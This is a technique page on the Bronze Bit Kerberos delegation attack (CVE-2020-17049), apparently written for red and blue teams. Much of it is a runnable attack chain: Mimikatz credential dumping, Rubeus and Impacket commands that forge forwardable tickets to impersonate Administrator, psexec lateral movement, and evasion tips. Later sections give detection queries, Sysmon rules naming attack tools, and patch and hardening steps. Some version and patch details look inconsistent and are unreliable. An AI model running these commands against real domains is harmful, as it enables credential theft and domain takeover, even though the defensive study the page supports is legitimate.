| Attribute | Details |
|---|---|
| Technique ID | CA-KERB-008 |
| MITRE ATT&CK v18.1 | T1558 - Steal or Forge Kerberos Tickets |
| Tactic | Credential Access |
| Platforms | Windows AD (Server 2016-2025) |
| Severity | CRITICAL |
| CVE | CVE-2020-17049 |
| Technique Status | ACTIVE (Pre-Patch), FIXED (Post-Feb 8, 2021 Enforcement) |
| Last Verified | 2024-12-15 |
| Affected Versions | Server 2016, 2019, 2022, 2025 (pre-patch) |
| Patched In | February 8, 2021 (Full Enforcement); November 10, 2020 (Partial Mitigation) |
| Author | SERVTEP – Artur Pchelnikau |
Note: Sections 6 (Atomic Red Team) omitted because no atomic test exists for Bronze Bit specifically; this technique is domain-specific and not covered in standard atomic libraries. All section numbers have been dynamically renumbered based on applicability.
Concept: The Bronze Bit attack (CVE-2020-17049) exploits a cryptographic validation flaw in the Kerberos protocol on Windows Domain Controllers. Specifically, it bypasses the Kerberos Privilege Attribute Certificate (PAC) validation and the Ticket Signing Checksum mechanism used by the KDC to verify that delegated service tickets have not been tampered with. An attacker who controls a service account configured with constrained delegation can modify the Forwardable flag (bit) within an encrypted service ticket obtained via S4U2Self, then use the modified ticket in an S4U2Proxy request to impersonate any user—including members of the Protected Users group and accounts explicitly marked as “sensitive and cannot be delegated.” This attack completely undermines Kerberos delegation security controls and allows lateral movement with the privileges of highly protected accounts.
Attack Surface: The vulnerability exists in the S4U2Self/S4U2Proxy exchange on Windows Domain Controllers running unpatched versions prior to February 8, 2021. The attack exploits the fact that service tickets returned by S4U2Self are encrypted with the requesting service account’s long-term key; if the attacker controls that key, they can decrypt, modify, and re-encrypt the ticket without the KDC detecting the tampering.
Business Impact: An attacker with control of a service account (or machine account) configured for constrained delegation can impersonate domain administrators, members of sensitive groups, and other high-value accounts to access any resource the delegated service is allowed to reach. This enables complete lateral movement and potential domain compromise. The attack is particularly dangerous because it bypasses organizational security policies designed to prevent delegation of sensitive accounts.
Technical Context: The attack requires the attacker to already control a service account with constrained delegation configured and to execute the exploit from a location where they can communicate with the Domain Controller. The exploit typically takes seconds to minutes to execute using tools like Rubeus or Impacket. The attack generates Event ID 4769 (Kerberos service ticket requested) entries but these events are often not properly monitored. Detection is challenging because S4U2Proxy requests are legitimate administrative activities in many domains.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | 5.2.3.3 | “Ensure ‘Do not require Kerberos preauthentication’ is set to ‘Disabled’” |
| CIS Benchmark | 5.2.3.4 | “Ensure that the Kerberos delegation is configured to the strictest minimum necessary” |
| DISA STIG | V-220975 | Kerberos service ticket validation; PAC checksums |
| NIST 800-53 | AC-3 | Access Enforcement - PAC validation is a critical enforcement mechanism |
| NIST 800-53 | IA-2 | Authentication - Kerberos delegation bypasses multi-factor controls |
| GDPR | Art. 32 | Security of Processing - Cryptographic controls must prevent unauthorized access |
| DORA | Art. 9 | Protection and Prevention - Cloud/AD authentication security |
| NIS2 | Art. 21 | Cyber Risk Management Measures - Authentication system integrity |
| ISO 27001 | A.9.2.3 | Management of Privileged Access Rights - delegation controls |
| ISO 27005 | Risk Scenario | Compromise of Authentication Mechanism (Kerberos delegation) |
Required Privileges:
msDS-AllowedToDelegateTo attribute set on the account)MachineAccountQuota > 0 to create and configure a machine account for constrained delegationRequired Access:
Supported Versions:
| Version | Status | Notes |
|---|---|---|
| Windows Server 2016 | VULNERABLE | No ticket signature validation on S4U2Self |
| Windows Server 2019 | VULNERABLE | No ticket signature validation on S4U2Self |
| Windows Server 2022 | PARTIAL | November 2020 patch provides partial mitigation (ticket checksum); February 2021 enforcement provides full fix |
| Windows Server 2025 | VULNERABLE (Pre-Patch) | Inherits 2022 behavior; fully patched with February 2021+ updates |
Tools:
Other Requirements:
# Enumerate all accounts configured for constrained delegation
Get-ADObject -Filter {msDS-AllowedToDelegateTo -like '*'} -Properties msDS-AllowedToDelegateTo | Select-Object Name, msDS-AllowedToDelegateTo
# Alternative: Check for accounts with delegation enabled
Get-ADComputer -Filter * -Properties msDS-AllowedToDelegateTo | Where-Object {$_.msDS-AllowedToDelegateTo -ne $null} | Select-Object Name, msDS-AllowedToDelegateTo
# Find accounts in Protected Users group
Get-ADGroupMember -Identity "Protected Users" -Recursive | Select-Object Name, ObjectClass
What to Look For:
msDS-AllowedToDelegateTo populated = potential targets for Bronze BitVersion Note: Commands work identically on Server 2016-2025; delegation settings are AD-level attributes, not version-specific.
Command (Server 2016-2019):
# Check if November 2020 patch (KB4598347) is installed
Get-Hotfix | Where-Object {$_.HotFixID -eq "KB4598347"}
# Check if February 2021 patch (KB5009645) is installed
Get-Hotfix | Where-Object {$_.HotFixID -eq "KB5009645"}
# Check patch history
Get-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name CurrentBuildNumber
Command (Server 2022+):
# Check Windows Update history for Kerberos security updates
Get-WmiObject -Class Win32_QuickFixEngineering | Where-Object {$_.Description -match "Kerberos|Authentication"} | Select-Object HotFixID, Description, InstalledOn
Expected Output (If Secure):
HotFixID Description InstalledOn
-------- ----------- -----------
KB5009645 Security Update 2021-02-09
What to Look For:
Command (All Versions):
# On a Domain Controller: check Kerberos encryption configuration
Get-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Lsa\Kerberos\Parameters' -Name MaxTokenSize, KdcSupportedEncryptionTypes
# Check if the DC enforces Ticket Signature validation
auditpol /get /subcategory:"Kerberos Service Ticket Operations"
What to Look For:
KdcSupportedEncryptionTypes: Should include AES (types 17, 18) and NOT be limited to RC4 (type 23)# Search Security Event Log for S4U2Proxy requests (Event 4769 with specific attributes)
# This requires parsing Event XML; example for PowerShell v5+
$Events = Get-WinEvent -LogName Security -FilterXPath "*[System[(EventID=4769)]]" -MaxEvents 1000 -ErrorAction SilentlyContinue
foreach ($Event in $Events) {
$XML = [xml]$Event.ToXml()
$Data = $XML.Event.EventData.Data
# Look for S4U2Proxy indicators:
# - TicketOptions contains 0x00000000 (no forwardable flag in legitimate S4U2Self response)
# - But ticket IS used in proxy request (indicates modification)
# - Requestor is a service account, target is Protected User
$TicketOptions = ($Data | Where-Object {$_.Name -eq "TicketOptions"}).'#text'
$RequestorName = ($Data | Where-Object {$_.Name -eq "Account Name"}).'#text'
$ServiceName = ($Data | Where-Object {$_.Name -eq "Service Name"}).'#text'
if ($TicketOptions -and $ServiceName -like "*krbtgt*") {
Write-Host "Suspicious S4U2Proxy detected: Requestor=$RequestorName, Service=$ServiceName, Flags=$TicketOptions"
}
}
What to Look For:
Supported Versions: Server 2016-2025 (pre-patch)
Objective: Secure the NTLM hash or AES key of the target service account configured for constrained delegation.
Prerequisites:
Command (Extract via Mimikatz on Compromised Server):
# Run Mimikatz with elevated privileges
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"
# Look for the target service account's NTLM hash in output
# Example output: svc_IIS:1001:HASH_VALUE
Command (Extract via ADConnect/HYBRID):
# If Azure AD Connect service account is compromised:
# Extract from registry (ServicePassword stored encrypted)
Get-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\AD Sync\Instances\MS SQL Server\...' -Name ServicePassword
Expected Output:
svc_WebServer NTLM: 8846f7eaee8fb117ad06bdd830b7586c
svc_WebServer AES256: f1234567890abcdef...
What This Means:
Objective: Acquire a Ticket-Granting Ticket (TGT) for the service account. This TGT will be used to request forwardable tickets via S4U2Self.
Command (Using Rubeus - Hash-Based):
# Obtain TGT using the service account's NTLM hash
.\Rubeus.exe asktgt /user:svc_WebServer /domain:contoso.com /hash:8846f7eaee8fb117ad06bdd830b7586c /nowrap
# Output will show:
# [*] Action: Ask for Kerberos TGT
# [*] Using hash: 8846f7eaee8fb117ad06bdd830b7586c
# [+] TGT for svc_WebServer acquired
# [+] base64(ticket.kirbi) = doIE+jCCBP...
Command (Using Rubeus - Password-Based):
# Obtain TGT using plaintext password
.\Rubeus.exe asktgt /user:svc_WebServer /domain:contoso.com /password:"P@ssw0rd!123" /nowrap
Command (Using Impacket from Linux):
# Get TGT for service account
python3 getTGT.py -hashes :8846f7eaee8fb117ad06bdd830b7586c contoso.com/svc_WebServer
# Ticket saved to svc_WebServer.ccache
Expected Output:
[+] Saving ticket in svc_WebServer.ccache
What This Means:
OpSec & Evasion:
/nowrap flag); don’t write to disk if possibleObjective: Use S4U2Self to request a service ticket to the service account itself, on behalf of a target user (preferably a Protected User like Administrator). This ticket will initially NOT have the forwardable flag set (due to delegation restrictions or Protected User status), but we will modify it in the next step.
Command (Request Ticket for Administrator via S4U2Self):
# Request S4U2Self ticket for Administrator on the delegated service
# Parameters: /ticket = TGT from Step 2, /impersonateuser = target user, /msdsspn = delegated SPN
.\Rubeus.exe s4u /ticket:doIE+jCCBP... /impersonateuser:Administrator /msdsspn:cifs/fileserver.contoso.com /nowrap
# Expected output:
# [*] Attempting S4U2self for user 'Administrator'
# [*] Requesting service ticket to cifs/fileserver.contoso.com as Administrator
# [+] Service Ticket for Administrator obtained
# [+] base64(ticket.kirbi) = doIFAjCCBP...
# [!] WARNING: Ticket is NOT forwardable (Protected User / Delegation Restrictions)
Command (Server 2022 - Partial Patch Behavior):
# On Server 2022 with November 2020 patch:
# The ticket will have a Ticket Signature Checksum that prevents tampering
# Attempting to modify the ticket will invalidate the checksum
.\Rubeus.exe s4u /ticket:doIE+jCCBP... /impersonateuser:Administrator /msdsspn:cifs/fileserver.contoso.com /bronze /nowrap
# Output:
# [-] Ticket Signature Checksum validation failed (post-patch)
# [-] This may indicate a patched DC; Bronze Bit attack will fail
Expected Output (Pre-Patch):
[+] Service Ticket obtained (NOT forwardable)
[+] Ticket Flags: 0x40000000 (Forwardable NOT set)
What This Means:
OpSec & Evasion:
Troubleshooting:
KDC_ERR_BADOPTION - Delegation not configured for this account
msDS-AllowedToDelegateTo attribute setGet-ADObject -Filter {Name -eq "svc_WebServer"} -Properties msDS-AllowedToDelegateToKDC_ERR_BADMATCH - User is protected from delegation
Objective: This is the core of the Bronze Bit attack. We decrypt the service ticket with the service account’s key, flip the forwardable bit in the ticket flags, and re-encrypt. This tricks the KDC into believing the ticket is delegatable even though it was marked non-forwardable.
Command (Automatic with Rubeus /bronzebit):
# Rubeus automatically performs the modification internally
# The /bronzebit flag tells Rubeus to:
# 1. Decrypt the ticket from Step 3
# 2. Set the forwardable flag (0x40000000)
# 3. Re-encrypt the ticket
# 4. Use the modified ticket in S4U2Proxy
.\Rubeus.exe s4u /ticket:doIE+jCCBP... /impersonateuser:Administrator /msdsspn:cifs/fileserver.contoso.com /bronzebit /nowrap
# Output:
# [*] Performing Bronze Bit modification
# [+] Forwardable flag set successfully
# [+] Modified ticket ready for S4U2Proxy
Command (Manual - Impacket getST.py with -force-forwardable):
# On Linux: Impacket's getST.py automatically handles the modification with the flag
python3 getST.py -spn "cifs/fileserver.contoso.com" \
-impersonate "Administrator" \
-force-forwardable \
-hashes :8846f7eaee8fb117ad06bdd830b7586c \
contoso.com/svc_WebServer
# Output:
# [-] Kerberos SessionError: KDC_ERR_BADOPTION (on patched DC)
# OR
# [+] Saving ticket in Administrator.ccache (on vulnerable DC)
Expected Output (Vulnerable DC):
[+] Forwardable flag successfully modified
[+] Ticket ready for delegation to target service
What This Means:
OpSec & Evasion:
/nowrap)Troubleshooting:
KRB_AP_ERR_MODIFIED - Ticket signature validation failed
Objective: Use the modified (forwardable) ticket in an S4U2Proxy request to the KDC, requesting a service ticket to the target service (CIFS/fileserver) as the impersonated user (Administrator). The KDC will check the forwardable flag, see it’s set, verify the delegation is allowed, and issue the final impersonation ticket.
Command (Chained S4U with Bronze Bit):
# Perform S4U2Proxy using the modified ticket from Step 4
# The /impersonateuser and /msdsspn refer to the final target
# The /ticket is the modified forwardable ticket
.\Rubeus.exe s4u /ticket:doIE+jCCBP... /impersonateuser:Administrator /msdsspn:cifs/fileserver.contoso.com /bronzebit /ptt
# Output:
# [*] Performing S4U2Proxy delegation
# [*] Sending modified ticket to KDC
# [*] Requesting service ticket for Administrator to cifs/fileserver.contoso.com
# [+] S4U2Proxy successful
# [+] Service Ticket for Administrator to CIFS/fileserver obtained
# [+] Ticket injected into LSASS (ptt = pass-the-ticket)
Expected Output (Vulnerable DC):
[+] Service Ticket for Administrator (Administrator@contoso.com) to cifs/fileserver.contoso.com obtained
[+] Ticket successfully imported into LSASS
What This Means:
OpSec & Evasion:
/ptt loads the ticket into LSASS memory (similar to legitimate Kerberos usage)Troubleshooting:
KDC_ERR_BADOPTION - S4U2Proxy not allowed for this delegation
msDS-AllowedToDelegateTo includes the target: Get-ADObject -Filter {Name -eq "svc_WebServer"} -Properties msDS-AllowedToDelegateToKRB_AP_ERR_MODIFIED (Server 2022+) - Ticket signature check failed
Objective: Confirm that the injected ticket allows access as the impersonated user, and use it for lateral movement.
Command (Test Ticket):
# List current tickets in LSASS
.\Rubeus.exe triage
# Expected output showing Administrator's ticket for CIFS/fileserver.contoso.com
# Now use the ticket to access the fileserver
net use \\fileserver.contoso.com\C$ /user:contoso.com\Administrator
# Or via PowerShell:
$cred = Get-Credential # Will use injected ticket for auth
Get-ChildItem \\fileserver.contoso.com\C$
# Or via Invoke-Command (if RPC/WMI is allowed):
Invoke-Command -ComputerName fileserver.contoso.com -ScriptBlock {whoami}
Expected Output (Successful Impersonation):
contoso.com\Administrator
C:\ (fileserver)
Directory: \\fileserver.contoso.com\C$
Mode LastWriteTime Length Name
---- ----- ------ ----
d----- 2024-01-15 10:30 Windows
d----- 2024-01-15 10:30 Program Files
What This Means:
References & Proofs:
Supported Versions: Server 2016-2025 (pre-patch)
Objective: Install and configure Impacket tools for Bronze Bit exploitation on a Linux attacker machine.
Command:
# Install Impacket (if not already installed)
pip3 install impacket
# Verify installation
python3 -c "import impacket; print(impacket.__version__)"
# Expected output: 0.9.24 or later (must include -force-forwardable support)
What to Look For:
-force-forwardable flag for Bronze Bit exploitationObjective: Same as METHOD 1 Step 1, but on Linux: Convert NTLM hash to usable format.
Command (NTLM Hash-Based):
# Create ccache from NTLM hash (using getTGT.py)
python3 /usr/share/doc/python3-impacket/examples/getTGT.py \
-hashes :8846f7eaee8fb117ad06bdd830b7586c \
contoso.com/svc_WebServer
# Output:
# Impacket v0.9.24
# [*] Saving ticket in svc_WebServer.ccache
Command (Keytab-Based - if available):
# If a keytab file is available (extracted from AD Connect or similar)
python3 /usr/share/doc/python3-impacket/examples/getTGT.py \
-k -no-pass contoso.com/svc_WebServer
# Requires: /etc/krb5.conf configured for contoso.com
Expected Output:
[*] Saving ticket in svc_WebServer.ccache
What This Means:
Objective: Request a service ticket using S4U2Self with the -force-forwardable flag to automatically perform the Bronze Bit modification.
Command (Basic getST with Force-Forwardable):
# Request forwardable service ticket for Administrator
python3 /usr/share/doc/python3-impacket/examples/getST.py \
-spn "cifs/fileserver.contoso.com" \
-impersonate "Administrator" \
-force-forwardable \
-k -no-pass contoso.com/svc_WebServer
# Output (vulnerable DC):
# Impacket v0.9.24
# [*] Impersonating Administrator for service ticket (cifs/fileserver.contoso.com)
# [+] Administrator.ccache saved
Command (Using NTLM Hash instead of Keytab):
python3 /usr/share/doc/python3-impacket/examples/getST.py \
-spn "cifs/fileserver.contoso.com" \
-impersonate "Administrator" \
-force-forwardable \
-hashes :8846f7eaee8fb117ad06bdd830b7586c \
-dc-ip 192.168.1.10 \
contoso.com/svc_WebServer
# Output:
# [+] Administrator.ccache saved
Expected Output (Vulnerable DC):
[+] Saving ticket in Administrator.ccache
[*] Ticket ready for use with psexec, wmiexec, etc.
What This Means:
-force-forwardable)OpSec & Evasion:
-debug for verbose output (helps troubleshoot but increases SIEM alerts)Troubleshooting (Server 2022+):
KDC_ERR_BADOPTION (pre-patch)
-spn matches msDS-AllowedToDelegateTo on service accountKRB_AP_ERR_MODIFIED (post-patch)
Objective: Authenticate to the target service using the impersonated Administrator ticket.
Command (psexec with Impacket):
# Execute commands on fileserver as Administrator
export KRB5CCNAME=Administrator.ccache
python3 /usr/share/doc/python3-impacket/examples/psexec.py \
-k -no-pass fileserver.contoso.com
# Output:
# Type help for list of commands
# C:\> whoami
# contoso\Administrator
Command (wmiexec Alternative):
export KRB5CCNAME=Administrator.ccache
python3 /usr/share/doc/python3-impacket/examples/wmiexec.py \
-k -no-pass fileserver.contoso.com
# Output:
# [*] SMB connection on fileserver.contoso.com
# C:\> whoami
# contoso\Administrator
Expected Output:
contoso\Administrator
What This Means:
References & Proofs:
Supported Versions: Server 2016-2025 (pre-patch); requires additional constraints
Prerequisites Relaxed: If you cannot compromise a service account directly, you can use the “Diamond Ticket” technique (discovered by Charlie Clark, Andrew Schwartz) combined with Bronze Bit. This requires:
MachineAccountQuota abuse)Objective: Use the Kerberos GSS-API tgtdeleg feature to trick the system into issuing a usable (impersonatable) TGT for the current user without requiring their plaintext password.
Command:
# Request a TGT for the current user using tgtdeleg
# (Works even from a low-privileged user)
.\Rubeus.exe tgtdeleg /nowrap
# Output:
# [*] Action: Request Fake Delegation TGT (current user)
# [*] Initializing Kerberos GSS-API for delegation
# [+] TGT for lowpriv_user obtained
# [+] base64(ticket.kirbi) = doIE+jCCBP...
What This Means:
Objective: Use S4U2Self with the obtained TGT to request a service ticket to any service the attacker wants to target.
Command:
# Request service ticket using S4U2Self
# Target a high-value account (Administrator) via Bronze Bit
.\Rubeus.exe s4u /ticket:doIE+jCCBP... /impersonateuser:Administrator /msdsspn:cifs/fileserver.contoso.com /bronzebit /nowrap
What This Means:
References & Proofs:
Version: 1.6.4+
Minimum Version: 1.5.0 (includes S4U with /bronzebit flag)
Supported Platforms: Windows (PowerShell, cmd.exe)
Installation:
# Download from GitHub releases
Invoke-WebRequest -Uri "https://github.com/GhostPack/Rubeus/releases/download/v1.6.4/Rubeus.exe" -OutFile Rubeus.exe
# Verify SHA256 hash for authenticity (check GitHub releases)
Get-FileHash Rubeus.exe
Usage (Full Exploitation Chain):
# 1. Obtain TGT
.\Rubeus.exe asktgt /user:svc_WebServer /domain:contoso.com /hash:8846f7eaee8fb117ad06bdd830b7586c /nowrap
# 2. Request forwardable ticket with Bronze Bit
.\Rubeus.exe s4u /ticket:TICKET_BLOB /impersonateuser:Administrator /msdsspn:cifs/fileserver.contoso.com /bronzebit /ptt
# 3. Verify ticket injection
.\Rubeus.exe triage
Version: 0.9.24+
Minimum Version: 0.9.24 (includes -force-forwardable)
Supported Platforms: Linux, macOS, Windows (Python 3.6+)
Installation:
pip3 install impacket
# Verify version
python3 -c "import impacket; print(impacket.__version__)"
Usage (Exploitation):
# Obtain TGT
python3 getTGT.py -hashes :8846f7eaee8fb117ad06bdd830b7586c contoso.com/svc_WebServer
# Request forwardable service ticket (Bronze Bit auto-applied)
python3 getST.py -spn "cifs/fileserver.contoso.com" -impersonate "Administrator" -force-forwardable -k -no-pass contoso.com/svc_WebServer
# Use ticket for lateral movement
export KRB5CCNAME=Administrator.ccache
python3 psexec.py -k -no-pass fileserver.contoso.com
Version: Latest (2.2.0-20220519+)
Supported Platforms: Windows (x86, x64)
Usage (Extract Service Account Hash):
# Extract NTLM hashes from LSASS
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"
# Look for target service account
# Example: svc_WebServer:1001:aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c
Rule Configuration:
wineventlogWinEventLog:SecurityEventCode, TicketOptions, Service_Name, Account_NameSPL Query:
index=wineventlog source=WinEventLog:Security EventCode=4769
| stats count by Account_Name, Service_Name, TicketOptions
| where Account_Name NOT IN ("*$", "svc_*", "krbtgt")
| search TicketOptions="*0x40*"
| eval risk=if(Service_Name="krbtgt*", "HIGH", "MEDIUM")
What This Detects:
Manual Configuration Steps:
When count > 0Source: SpecterOps Detection Blog
Rule Configuration:
wineventlogWinEventLog:SecurityEventCode, Account_Name, Service_Name, User_NameSPL Query:
index=wineventlog source=WinEventLog:Security EventCode=4769
| lookup protected_users.csv username AS User_Name OUTPUT is_protected
| where is_protected=true AND Account_Name IN ("svc_*", "*$")
| stats count by Account_Name, User_Name, Service_Name
| where count > 0
What This Detects:
Manual Configuration Steps:
$SPLUNK_HOME/etc/apps/search/lookups/protected_users.csvusername,is_protected
Administrator,true
"Domain Admins",true
"Enterprise Admins",true
"Schema Admins",true
"Protected Users",true
Rule Configuration:
SecurityEventEventID, TargetUserName, TargetSPNHighKQL Query:
SecurityEvent
| where EventID == 4769
| extend TicketOptions = toint(substring(EventData, indexof(EventData, "TicketOptions")+20, 10))
| where TicketOptions >= 0x40000000 // Forwardable flag set
| join kind=inner (
SecurityEvent
| where EventID == 4768 // TGT request
| project SourceIP, Account_Name_TGT=Account_Name, TimeGenerated
) on $left.Client_IP == $right.SourceIP
| where Account_Name !contains "$"
| project TimeGenerated, Account_Name, TargetSPN=Service_Name, TicketOptions, alert_severity="High"
What This Detects:
Manual Configuration Steps (Azure Portal):
Bronze Bit - S4U2Proxy Delegation AbuseHigh5 minutes1 hourAccount_NameManual Configuration Steps (PowerShell):
Connect-AzAccount
$ResourceGroup = "SecurityGroup"
$WorkspaceName = "SentinelWorkspace"
New-AzSentinelAlertRule -ResourceGroupName $ResourceGroup -WorkspaceName $WorkspaceName `
-DisplayName "Bronze Bit - S4U2Proxy Detection" `
-Query 'SecurityEvent
| where EventID == 4769
| extend TicketOptions = toint(substring(EventData, indexof(EventData, "TicketOptions")+20, 10))
| where TicketOptions >= 0x40000000
| project TimeGenerated, Account_Name, Service_Name' `
-Severity "High" `
-Enabled $true
Source: Microsoft Sentinel Documentation
Event ID: 4769 (A Kerberos service ticket was requested)
TicketOptions field contains forwardable flag (0x40000000)Account_Name is a service account (svc_* or *$)User_Name field shows impersonated user (especially Protected Users)Service_Name is NOT krbtgt (Kerberos service)Event ID: 4768 (A Kerberos authentication ticket (TGT) was requested)
Manual Configuration Steps (Group Policy):
gpupdate /force on all Domain Controllers and member serversManual Configuration Steps (Server 2022+):
# Enable Kerberos service ticket audit events
auditpol /set /subcategory:"Kerberos Service Ticket Operations" /success:enable /failure:enable
# Verify
auditpol /get /subcategory:"Kerberos Service Ticket Operations"
# Output:
# Kerberos Service Ticket Operations Success and Failure
Manual Configuration Steps (Local Policy):
auditpol /set /subcategory:"Kerberos Service Ticket Operations" /success:enable /failure:enableMinimum Sysmon Version: 13.0+
Supported Platforms: Windows (Server 2016-2025)
<Sysmon schemaversion="4.82">
<!-- Monitor for Rubeus execution (Bronze Bit tool) -->
<RuleGroup name="Process Creation" groupRelation="or">
<ProcessCreate onmatch="include">
<CommandLine condition="contains">Rubeus</CommandLine>
<CommandLine condition="contains">s4u /ticket</CommandLine>
<CommandLine condition="contains">/bronzebit</CommandLine>
<CommandLine condition="contains">impacket</CommandLine>
<CommandLine condition="contains">getST</CommandLine>
<CommandLine condition="contains">-force-forwardable</CommandLine>
</ProcessCreate>
</RuleGroup>
<!-- Monitor for Mimikatz execution (credential dumping prerequisite) -->
<RuleGroup name="Process Creation" groupRelation="or">
<ProcessCreate onmatch="include">
<CommandLine condition="contains">mimikatz</CommandLine>
<CommandLine condition="contains">sekurlsa::logonpasswords</CommandLine>
</ProcessCreate>
</RuleGroup>
<!-- Monitor for Kerberos ticket manipulation in LSASS -->
<RuleGroup name="Image Load" groupRelation="or">
<ImageLoad onmatch="include">
<Image condition="contains">rubeus</Image>
<Image condition="contains">impacket</Image>
</ImageLoad>
</RuleGroup>
</Sysmon>
Manual Configuration Steps:
sysmon-config.xml with XML abovesysmon64.exe -accepteula -i sysmon-config.xml
Get-Service Sysmon64
Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" -MaxEvents 10
Detection Alerts:
High / CriticalManual Configuration Steps (Enable Defender for Cloud):
ONON (critical for Kerberos detection)ONManual Configuration Steps (Defender for Identity):
Reference: Microsoft Defender Alert Reference
Not Applicable: Bronze Bit is an on-premises Active Directory / Windows Server attack; Unified Audit Log (M365 auditing) does not capture local Kerberos ticket operations. However, lateral movement into Azure AD-integrated systems may appear in Azure audit logs.
Mitigation 1: Apply Kerberos Security Patches
Microsoft released patches in two phases:
Applies To Versions: Server 2016, 2019, 2022, 2025
Manual Steps (Windows Update):
KB4598347 and KB5009645Get-Hotfix | Where-Object {$_.HotFixID -eq "KB5009645"}
Manual Steps (WSUS / Group Policy - Enterprise):
gpupdate /force on all DCsManual Steps (PowerShell - Automated Deployment):
# Check for KB5009645 on all DCs
$DomainControllers = Get-ADComputer -Filter {OperatingSystem -like "*Server*"} -Properties OperatingSystem
foreach ($DC in $DomainControllers) {
$Installed = Invoke-Command -ComputerName $DC.Name -ScriptBlock {
Get-Hotfix | Where-Object {$_.HotFixID -eq "KB5009645"}
}
if ($null -eq $Installed) {
Write-Warning "$($DC.Name) is missing KB5009645"
} else {
Write-Host "$($DC.Name) is patched"
}
}
Validation Command (Verify Fix):
# Test that Bronze Bit is blocked
# Attempt to perform S4U2Proxy with modified ticket
.\Rubeus.exe s4u /ticket:TICKET /impersonateuser:Administrator /msdsspn:cifs/target /bronzebit /ptt
# Expected output (PATCHED):
# [-] Kerberos SessionError: KRB_AP_ERR_MODIFIED
# [!] Ticket signature validation failed - Bronze Bit attack is blocked
Expected Output (If Secure):
[-] KRB_AP_ERR_MODIFIED - Ticket signature checksum validation failed
What to Look For:
KRB_AP_ERR_MODIFIED error = DC is protectedMitigation 2: Minimize Constrained Delegation Configuration
Constrained delegation is an attack vector if not carefully managed. Remove all unnecessary delegation configurations.
Applies To Versions: All (Server 2016-2025)
Manual Steps (Remove Unnecessary Delegation):
Get-ADObject -Filter {msDS-AllowedToDelegateTo -like '*'} -Properties msDS-AllowedToDelegateTo, Name
# Remove delegation for service account
Set-ADUser -Identity svc_OldService -Clear msDS-AllowedToDelegateTo
# Or for computer account:
Set-ADComputer -Identity SERVER01 -Clear msDS-AllowedToDelegateTo
Manual Steps (Group Policy):
Mitigation 3: Enforce Kerberos AES Encryption
Enforce AES-256 encryption for Kerberos tickets instead of legacy RC4, which may have cryptographic weaknesses exploitable in certain scenarios.
Applies To Versions: All (Server 2016-2025)
Manual Steps (Group Policy):
gpupdate /force on all machinesManual Steps (Registry - Direct):
# On Domain Controller, set supported encryption types
Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Lsa\Kerberos\Parameters' `
-Name KdcSupportedEncryptionTypes -Value 24 # 24 = AES256 + AES128
# Value meanings:
# 1 = DES-CBC-MD5
# 2 = RC4-HMAC
# 4 = HMAC-SHA1 (AES128)
# 8 = HMAC-SHA1 (AES256)
# 16 = AES256-HMAC-SHA1
# 24 = AES128 + AES256 (recommended)
Validation Command:
# Verify AES is enforced
Get-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Lsa\Kerberos\Parameters' -Name KdcSupportedEncryptionTypes
# Expected output:
# KdcSupportedEncryptionTypes : 24
Mitigation 4: Enable Protected Users Group for Sensitive Accounts
Move all sensitive accounts (administrators, service accounts with high privilege) to the Protected Users group. Pre-patch, this prevented delegation (but Bronze Bit bypasses it); post-patch, it’s an additional layer of defense.
Applies To Versions: All (Server 2016-2025)
Manual Steps (Active Directory Users and Computers):
Manual Steps (PowerShell):
# Add Domain Admins to Protected Users group
$ProtectedUsers = Get-ADGroup -Identity "Protected Users"
$DomainAdmins = Get-ADGroupMember -Identity "Domain Admins" -Recursive
foreach ($Admin in $DomainAdmins) {
Add-ADGroupMember -Identity $ProtectedUsers -Members $Admin.ObjectGUID -Confirm:$false
}
# Verify
Get-ADGroupMember -Identity "Protected Users" | Select-Object Name, SAMAccountName
Mitigation 5: Monitor Delegation Configuration Changes
Enable auditing on delegation attributes to detect Bronze Bit setup or privilege escalation attempts.
Applies To Versions: All (Server 2016-2025)
Manual Steps (Enable Attribute Change Auditing):
msDS-AllowedToDelegateTo, msDS-AllowedToActOnBehalfOfOtherIdentity (RBCD)Manual Steps (PowerShell - SDDL-Based):
# Enable auditing for delegation attribute changes
Set-AuditRule -Path "AD:CN=Users,DC=contoso,DC=com" `
-AuditRuleType ObjectAudit `
-Identity "Everyone" `
-AccessMask "WriteProperty" `
-AuditFlags "Success,Failure"
Validation Command:
# Change a delegation setting and verify Event 5136 is logged
Get-ADUser -Identity svc_TestAccount -Properties msDS-AllowedToDelegateTo
# Modify it
Set-ADUser -Identity svc_TestAccount -Add @{msDS-AllowedToDelegateTo = "cifs/fileserver.contoso.com"}
# Check for Event 5136 in Security Log
Get-WinEvent -LogName Security -FilterXPath "*[System[(EventID=5136)]]" -MaxEvents 5
Mitigation 6: Conditional Access (Cloud-Integrated Environments)
For hybrid AD/Entra ID environments, enforce conditional access policies to block suspicious Kerberos activity.
Manual Steps (Entra ID Conditional Access):
Block Kerberos Delegation AbuseMitigation 7: Audit S4U2Proxy Events
Configure Kerberos auditing to log all S4U2Proxy requests and alert on suspicious patterns.
Manual Steps (Group Policy):
Manual Steps (PowerShell):
# Enable Kerberos event logging on Domain Controller
auditpol /set /subcategory:"Kerberos Service Ticket Operations" /success:enable /failure:enable
auditpol /set /subcategory:"Kerberos Authentication Service" /success:enable /failure:enable
# Verify
auditpol /get /subcategory:"Kerberos Service Ticket Operations"
Files:
Rubeus.exe (any location outside C:\Program Files)Impacket Python scripts on Linux machines with DC network access*.ccache, *.kirbi (Kerberos ticket files)Registry:
HKLM:\System\CurrentControlSet\Services\Kdc\ - KDC configuration changesNetwork:
Process:
Rubeus.exe executed with /bronzebit parametermimikatz.exe with sekurlsa::logonpasswords commandgetST.py, psexec.py) executed from unusual locationsDisk:
C:\Windows\System32\winevt\Logs\Security.evtx - Event 4769, 4768, 5136C:\Temp\, C:\Users\<User>\AppData\Local\Temp\ for cached ticketsC:\Users\<User>\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txtMemory:
ptt (pass-the-ticket) in LSASSCloud:
Event Logs:
